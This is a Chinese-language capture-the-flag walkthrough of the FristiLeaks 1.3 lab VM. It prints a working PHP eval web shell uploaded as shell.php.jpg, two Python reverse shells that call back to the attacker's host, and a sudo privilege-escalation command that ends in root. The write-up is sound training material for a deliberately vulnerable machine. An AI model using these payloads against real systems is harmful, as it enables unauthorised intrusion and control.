一、靶机搭建
选择扫描虚拟机

选择路径即可

二、信息收集
靶机信息
php
产品名称:Fristileaks 1.3
作者:Ar0xA
发布日期: 2015 年 12 月 14 日
目标:获取root(uid 0)并读取标志文件 #UID为0,即root权限
难度:初级
说明: 一个为荷兰非正式黑客聚会Fristileaks制作的小型虚拟机。意味着可以在几个小时内破解,而不需要调试器、逆向工程等。。
扫ip
靶机ip:192.168.108.149

扫开放端口
只开放了一个80端口

扫版本服务信息

信息如下:
bash
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
指纹探测
bash
nmap 192.168.108.149 -p 80 -sV -sC -O --version-all

信息如下:
bash
运行版本: Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)
目录扫描
dirb扫描

dirsearch扫描

信息如下:
bash
http://192.168.108.149/robots.txt
http://192.168.108.149/index.php
三、Web渗透
信息收集
看看80端口,给了个提示,应该在4个小时完成

访问之前扫描出来的robots.txt,给了下面的提示

逐个访问都是下面的提示

这里根据一开始页面的信息,试了fristi目录,是一个登录页面

看看源码,意思是源码的图片使用base64加密,并且放了一些信息,作者:eezeepz,这个作者很重要

翻到下面是一串base64编码,解码过来是图片转过来的

利用随波逐流转换成图片

得到下面的信息,keKkeKKeKKeKkEkkEk,应该是密码

登录

登录成功

文件上传
点击上传文件,先上传一个php后缀木马,发现只允许上传图片格式

这里利用 shell.php.jpg上传,实际上会被服务器认为是jpg文件,但是会解析php内容
php
track
<?php @eval($_POST["a"]);?>

访问成功

执行一下系统命令

python反弹shell
代码如下
php
url/fristi/uploads/shell.php.jpg?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权
信息收集
找找可以利用的信息

进入home目录看看,在提权的时候,没有什么头绪就可以去home目录和tmp 目录下看看,发现三个目录,进入eezeepz看看

ls -la查看一下,发现一个notes.txt文件

查看该文本

如下
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为"runthis"的文件,每行一个命令。这个输出转到/tmp/中的文件"cronresult"。它应该以我的帐户权限每分钟运行一次。
反向shell+脚本解密
这里的意思应该是只能利用 /usr/bin 目录下的文件,要求在/tmp目录下放一个runthis文件,以amdin权限每分钟运行一次,写一个脚本

这是一个反向shell脚本
py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.108.130",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
开启web服务

进入tmp目录,将其下载下来

将1.py执行的结果输入到runthis,即每分钟在该目录下执行一次
py
echo '/usr/bin/python /tmp/1.py' > runthis

这里开启监听,不过需要等一会,链接成功

先用python切换为交互模式,发现两个文本还有一个可能是用户名fristigod

信息如下,是某种加密而且做了逆向输出
bash
cryptedpass.txt:mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt:=RFn0AKnlMHMPIzpyuTI0ITG
看看加密脚本

py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
写一个解密脚本2.py
py
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print cryptoResult
赋予权限并执行

执行

得到以下信息
py
thisisalsopw123
LetThereBeFristi!
链接新用户
链接fristigod用户,尝试上面的密码

执行成功,找找可以信息,发现一处任何用户都可以执行的脚本

直接以当前用户执行它并赋予bash权限
bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
提权成功

找找flag在那,成功发现
